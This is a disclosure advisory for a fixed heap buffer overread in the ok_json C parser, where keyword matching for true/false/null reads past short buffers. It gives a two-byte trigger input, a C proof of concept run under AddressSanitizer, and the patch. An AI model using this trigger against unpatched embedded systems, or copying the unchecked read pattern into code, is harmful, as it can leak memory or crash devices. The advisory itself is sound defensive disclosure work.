ok_json: heap buffer overread in true/false/null keyword matching
A heap buffer overread in ok_json's keyword matcher. Input shorter than the expected keyword (`true`, `false`, `null`) causes `okj_match` to read past the end of the caller-supplied buffer. Fixed upstream on 2026-04-14.
// Timeline
- 2026-04-08 Reported to vendor
- 2026-04-13 Vendor acknowledged
- 2026-04-14 Fixed upstream; issue closed
- 2026-04-22 CVE requested (pending)
Summary
ok_json is a C99 JSON parser targeting embedded and safety-critical contexts. In versions prior to the fix on 2026-04-14, the okj_match helper — used to match the literal keywords true, false, and null — accepts a fixed length and reads that many bytes from the buffer without checking that the bytes are actually allocated. A NUL-byte early-exit exists, but only helps when the buffer happens to be NUL-terminated, which the API does not require.
Technical details
Location: src/ok_json.c:346-384 (okj_match), called from okj_parse_value at lines 1347, 1382, and 1414.
When the parser sees a character that could start true, false, or null, it calls okj_match(pos, "true", 4), okj_match(pos, "false", 5), or okj_match(pos, "null", 4). If fewer bytes remain in the buffer than the fixed length, okj_match reads past the allocation. ASan’s red zone is 0xBE, not 0x00, so the NUL-byte early-exit does not save you.
Trigger
A two-byte buffer containing tr — no NUL terminator, no padding past the allocation:
tr
The parser sees t, calls okj_match(pos, "true", 4), and reads src[2] past the 2-byte allocation.
Proof of concept
/* Compile: clang -g -O0 -fsanitize=address -Iinclude poc.c -o poc
* Run: ./poc
*
* The parser sees 't' and calls okj_match(pos, "true", 4).
* okj_match loops i=0..3 reading src[0]='t', src[1]='r', src[2] (OOB).
* The NUL-byte early exit only helps if a NUL happens to sit right
* after the allocation — ASan's red zone is 0xBE, not 0x00.
*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "../src/ok_json.c"
int main(void)
{
const char src[] = "tr";
size_t len = sizeof(src) - 1U; /* 2 */
char *buf = (char *)malloc(len);
if (buf == NULL) { return 1; }
memcpy(buf, src, len);
OkJsonParser parser;
okj_init(&parser, buf, (uint16_t)len);
OkjError rc = okj_parse(&parser);
printf("okj_parse returned: %d\n", (int)rc);
free(buf);
return 0;
}
AddressSanitizer output:
heap-buffer-overflow at ok_json.c:376 in okj_match
READ of size 1 at 0 bytes to the right of 2-byte region
Impact
Out-of-bounds read of up to four bytes past a caller-supplied buffer (three for true/null matches starting at offset +1, four for false). In safety-critical or embedded contexts (the library’s stated target), such reads can leak adjacent memory or cause undefined behavior.
Fix
Upstream patched on 2026-04-14: callers now verify that at least len bytes remain in the buffer (json_len - position >= len) before invoking okj_match. See issue #69 for the full disclosure and vendor response.